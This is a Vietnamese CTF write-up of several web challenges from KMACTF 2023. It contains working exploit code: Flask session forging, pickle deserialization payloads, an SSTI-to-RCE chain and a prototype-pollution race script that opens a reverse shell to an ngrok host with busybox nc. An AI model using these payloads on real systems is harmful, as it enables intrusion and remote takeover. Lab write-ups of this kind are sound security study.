Writeups KMACTF - SVATTT Cấp học viện 2023

Writeups KMACTF - SVATTT Cấp học viện 2023

·

10 min read

Giải lần này mình chỉ solved được 1 bài 😥. Trong wu này mình sẽ cố gắng note lại cách debug để chuẩn bị cho kỳ SVATT sắp tới

you are a good admin

Analysis

Bài này cho ta một trang web như sau:

Nhưng tính năng đăng nhập thì không hoạt động, nhưng ta có thể thể sử dụng 2 tính năng khác, một là route /file để đọc file và route /admin để pickle.load data

Ta thấy mục đính của route /file là để đọc các file static, tuy nhiên vì param f không được validate nên ta có thể path traversal và đọc mọi file tùy ý.

Ý tưởng phần này rất đơn giản, làm sao để leak được secret key từ đó tạo session admin và login as admin.

Tuy nhiên code đã filter đi những file .py và có Python script trong mime type. Mình không cố gắng để bypass filter này, thay vào đó mình tìm một định dạng file khác có thể chứa secret key. Lượn lờ trong file system của docker mình phát hiện file này:

Đây là file thực thi của config.py , ta có thể dễ dàng đọc được secret key (thật ra trong giải thì mình thấy được file này từ sớm nhưng không để ý có secret key nằm trong đây 😥 đần vcl)

Okie đã có secret key, mình viết một đoạn script để gen session

from flask import Flask, session, request
import sys

app = Flask(__name__)
app.secret_key = "FAKE_KEY"


@app.route('/')
def gen_cookie():
    u = request.args.get('username')
    data = request.args.get('data')
    print(u, file=sys.stderr)
    session['user'] = u
    session['data'] = data
    return f"Hello {session.get('user')}"


if __name__ == '__main__':
    app.run()

Giờ mình đã có thể gen session tùy thích. Tiếp đến đến vấn đề thứ 2 là exploit pickle deser nhưng bị filter R.

Phần này chỉ cần vài đường gg cơ bản là đã biết được đáp án, mình search bằng tiếng trung ra được rất nhiều bài chỉ cách bypass

Đọc sơ qua thì mình biết được R là opcode của hàm __reduce__ và không chỉ R có thể tự động được gọi khi Pickle.load mà còn 2 opcode khác là io

from base64 import b64decode, b64encode
import pickle

opcode1=b'''(S'whoami'
ios
system
.'''

opcode2=b'''(cos
system
S'whoami'
o.'''

a=b64encode(opcode1)
pickle.loads(b64decode(a))

b=b64encode(opcode1)
pickle.loads(b64decode(b))

Kết quả:

Về cách opcode hoạt động như thế nào thì mọi người có thể tham khảo từ các bài blog nói trên, 2 bài tiêu biểu:

Còn về phần dấu . , thì ký tự này biểu thị cho việc kết thúc opcode, khi bỏ đi thì vẫn thực thi được

Nhưng vì payload có độ dài không quá 32 ký tự nên mình sẽ ghi output câu lệnh ra file và dùng route /file để đọc

Exploit

Tạo session với payload (nhớ url encode)

Truy cập /admin với session này để trigger pickle.loads

Đọc output thông qua /file

Đọc flag cũng tương tự

baby python

Bài này là bài duy nhất mình solved trong giải, do nhận thấy có lỗi liên quan đến pollution nên mình dựng debug local. Vì bài này chỉ có 1 file app.py xử lý chính nên cũng không cần thiết remote debug qua docker, mình dùng vscode để debug luôn cho tiện và nhanh

Setup debug

Tạo một file lauch.json với nội dung như sau:

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Python: Flask",
            "type": "python",
            "request": "launch",
            "module": "flask",
            "env": {
                "FLASK_APP": "./src/app.py",
                "FLASK_DEBUG": "1"
            },
            "args": [
                "run",
                "--no-debugger"
            ],
            "jinja": true,
            "justMyCode": true
        }
    ]
}

Bây giờ chỉ cần start debug và chiến thoaiii

Analysis

Đây là một ứng dụng đơn giản, có đăng ký đăng nhập và nếu ta là admin có thể truy cập /flag

Tuy nhiên có một điểm đáng chú ý là chall sẽ sử dụng 1 mảng các Object của class User để lưu thông tin người dùng, mỗi khi có người dùng đăng ký nó sẽ tiến hành merge data vào Object Users rồi mới append vào mảng

Nội dung hàm merge:

Khi nhìn mình nghĩ ngay đến class pollution, tham khảo: https://tttang.com/archive/1876/

Tuy nhiên mọi chain mà ta biết đều bị filter trong waf

Ý tưởng phần này đơn giản là mình sẽ bypass blacklist, polluted secret key thành bất cứ gì, sau đó gen session admin với secret key đó để đến phần tiếp theo.

Tuy nhiên làm sao để bypass thì là một vấn đề lớn, mình mất khá nhiều thời gian để tìm ra một chain mới có thể gọi đến globals và thực hiện việc polluted, tuy nhiên khá là vô vọng. Đến khi có được hint từ anh @d47sec tác giả chall thì mình đã tìm được cách bypass đơn giản là dùng unicode 🤦‍♂️

Nhìn vào đoạn code trên mọi người sẽ thấy khi check waf thì code lại dùng str(request.data) còn khi xử lý data trước khi đưa vào merge lại dùng json.loads(request.data) . Một hàm sẽ không tự động decode uniocde còn một hàm thì có. Ví dụ khi ta gửi request sau:

Lợi dụng điều này bypass waf dễ dàng và thực hiện polluted

Exploit

Mình gửi register với payload sau để polluted secret key thành 123 (vì đây là class pollution trong python khác với js nên có thể polluted những attribute đã được gán giá trị)

Mình cũng code script để gen session với secret key là 123 như bài trước

from flask import Flask, session, request
import sys

app = Flask(__name__)
app.secret_key = "123"


@app.route('/')
def gen_cookie():
    u = request.args.get('username')
    print(u, file=sys.stderr)
    session['username'] = u
    session['isAdmin'] = True
    return f"Hello {session.get('username')}"


if __name__ == '__main__':
    app.run(port=5556)

Bây giờ thì đến phần SSTI tại /flag

Tuy nhiên waf2 vẫn còn đó, mà blacklist2 khá chặt, block hết mọi khả năng exploit

black_list2 = ["{", "%" "read","import", "builtins", "system", "eval", "session" "open", "global","request", "_", "[", "]", "()", "\\", "\"", "'", "}", ".", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]

Vậy thì làm sao để bypass?

Câu trả lời là không cần bypass 🙂

Mình sẽ lợi dụng class polluted phía trên để ghi đè vào 2 cái blacklist, như vậy thì có thể thoải mái exploit

Gửi request đăng ký với payload

Kết quả:

Bây giờ chỉ cần exploit ssti nữa thôi là xong

List subclasses bằng payload:

{{''.__class__.__mro__[1].__subclasses__()}}

Tìm subProcess.Popen bằng script sau được index thứ 382

with open('.\list.txt') as p:
    check = p.read()
for index,value in enumerate(check.split(',')):
    if "<class 'subprocess.Popen'>" in value:
        print(index) # 382

Giờ có thể RCE tùy ý

ez-ssti

pending...

Tiệm bánh dâu tây

Bài này trong giải thì mình chỉ nhìn sơ qua và biết mongoose v6.11.2 dính CVE prototype pollution, nhưng chain để RCE thì mình chịu nên không làm tiếp.

Sau khi end thì tác giả có cho một bài blog sau: https://sec.vnpt.vn/2022/11/phan-tich-lo-hong-parse-server-prototype-pollution-remote-code-execution-cve-2022-39396/

Bài này đã nói khá chi tiết về lỗ hổng, tuy nhiên đối với chall này thì mình sẽ chủ yếu refer bài blog sau vì nó sát với solution hơn: https://hackmd.io/@webxxx/B1p8LmQto

Setup Debug

Ở bài này mình sẽ dùng remote debug, các bạn có thể debug bằng VSCode hoặc WebStorm, nhưng mình chọn dùng WebStorm để tiện cho việc evalute và thay đổi giá trị trong quá trình debug. Cho dù chọn cách nào thì cũng phải cần setup docker file như sau.

Đối với Dockerfile ta sẽ giữ nguyên, ta chỉ cần thêm dòng sau vào file docker compose:

ports:
    - $NODE_LOCAL_PORT:$NODE_LOCAL_PORT
    - 9229:9229
command: ["node", "--inspect=0.0.0.0:9229", "index.js"]

Đối với debug bằng vscode thì tạo một file lauch.json với config như sau:

    "configurations": [
        {
            "type": "node",
            "request": "attach",
            "remoteRoot": "/src",
            "port": 9229,
            "address": "localhost",
            "localRoot": "${workspaceFolder}\\src",
            "name": "Launch Program",
            "restart": true,
            "protocol":"inspector"
        }
    ]

Mình debug bằng WebStorm nên chỉ cần open project tại src code, tại phần Run/Debug Configurations, add thêm Attach to Node.js/Chrom tại localhost port 9229

Để tiến hành debug thì ta docker compose up trước sau đó start debug

Debug thành công

Analysis

Nói sơ qua về tính năng ứng dụng, đơn giản là đăng ký đăng nhập và đọc truyện, ngoài ra còn có tính năng update collections info

Như đã đề cập ở trên, bài này sẽ cần 2 CVE để khai thác. Một là để prototype pollution và 2 là chain để RCE

Đầu tiên phần dễ hơn là prototype pollution, mình tham khảo link sau: https://huntr.dev/bounties/1eef5a72-f6ab-4f61-b31d-fc66f5b4b467/

Tại tính năng update collections info ta thấy đoạn code bị dính lỗi

Tuy nhiên giá trị truyền vào key hoặc value phải là chuỗi, nên ta phải tìm cách khác để truyền Object vào từ đó mới có thể gọi chain để RCE

Okie bây giờ có 2 vấn đề cần giải quyết:

  • Làm sao để truyền vào Object

  • Và chain dẫn đến RCE

Bắt tay vào nghiên cứu CVE thứ 2, thì vô tình 2 vấn đề của chall đều được giải quyết và hướng giải quyết cũng liên kết với nhau, hay nói cách khác CVE đã giúp mình giải quyết lần lượt cả 2 vấn đề

Để dễ hiểu thì mình sẽ đi từ sink RCE, đọc bài blog thì mình biết được sink nằm ở việc biến evalFunctions nếu là true sẽ gọi đến isolateEval và khởi tạo một hàm Anonnymous với code bên trong là biến functionString

Cộng thêm biến này sẽ có giá trị null mặc định

Suy ra evalFunctions sẽ là biến ta cần polluted. Để gọi đến evalFunctions ta sẽ thông qua tính năng seri/deser của mogodb. Để ý đoạn này trong bài blog

Trong quá trình deser, hàm deserializeObject được gọi, nếu muốn đến đoạn code ở trên mình đề cập, thì bsondata phải là code, muốn làm được điều đó thì trong quá trình seri method serializeCode phải được thực thi. Muốn làm điều đó thì trong JSON chỉ cần có attribute là _bsontype với value là code

serializeCode sẽ lấy attribute code trong JSON để gán cho functionString

Lúc này nếu gửi request có JSON như thế này để seri (Mình dùng tính năng Register vì attribute info có thể gửi đi Object)

Và truy cập login để deser

Giả sử mình đã polluted được evalFunctions thành true (mặc định là false)

Khi đó 1 hàm Anonymous được khởi tạo

Okie bây giờ đã có thể tạo hàm thực thi code, nhưng làm sao để gọi ???

Đến đây mình tham khảo đoạn sau trong blog anh @vanirxxx

Ta lợi dụng attribute đặt biệt là toJSON để thực thi hàm, trong chall không sử dụng thư viện như bài blog, nhưng debug một hồi mọi người cũng sẽ thấy, khi chall return json response sẽ gọi đến stringify của .../node_modules/express/lib/response.js

Nếu ta register với nội dung như sau

Thì khi return response stringify của .../node_modules/express/lib/response.js được gọi

Nó sẽ gọi đến JSON.stringify với value có bao gồm attribute toJSON của ta, từ đó ta thực thi được code

Exploit

Tuy nhiên khi thực hiện exploit, polluted evalFunctions ứng dụng sẽ gặp lỗi và chạy không được, để bypass mình sẽ thực hiện race condition theo như blog của anh @vanirxxx

Script exploit:

import requests
from threading import Thread
import json
import random

cmd = "busybox nc 0.tcp.ap.ngrok.io 12505 -e sh"
url = "http://103.162.14.116:8888"
x = '{}'
session = requests.Session()

def regsiter(username):
    jscode = f"global.process.mainModule.require('child_process').execSync('{cmd}').toString(); let a = {x}; delete a.__proto__.evalFunctions;"
    json_data = {"username": f"{username}", "password": "endy", "info": {"toJSON": {"_bsontype": "Code","code": f"{jscode}"}}}
    r = session.post(url+"/register", json=json_data)

def login(username):
    json_data = {"username": f"{username}", "password": "endy"}
    r = session.post(url+f"/login", json=json_data)


def pollute():
    payload = {"key": "__proto__.evalFunctions", "value": "123"}
    r = session.post(url+"/collect-info", json=payload)
    print(r.text)

username = 'endy' + str(random.randint(1000, 9999))
print(username)
regsiter(username)

def race():
    for i in range(300):
        login(username)

def race2():
    for i in range(300):
        login(username)
        if i == 200:
            pollute()

t1 = Thread(target=race)
t2 = Thread(target=race2)
t3 = Thread(target=race)
t4 = Thread(target=race)
t5 = Thread(target=race)
t6 = Thread(target=race)

print("exploiting...")

t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t6.start()

t1.join()
t2.join()
t3.join()
t4.join()
t5.join()
t6.join()

print("Done")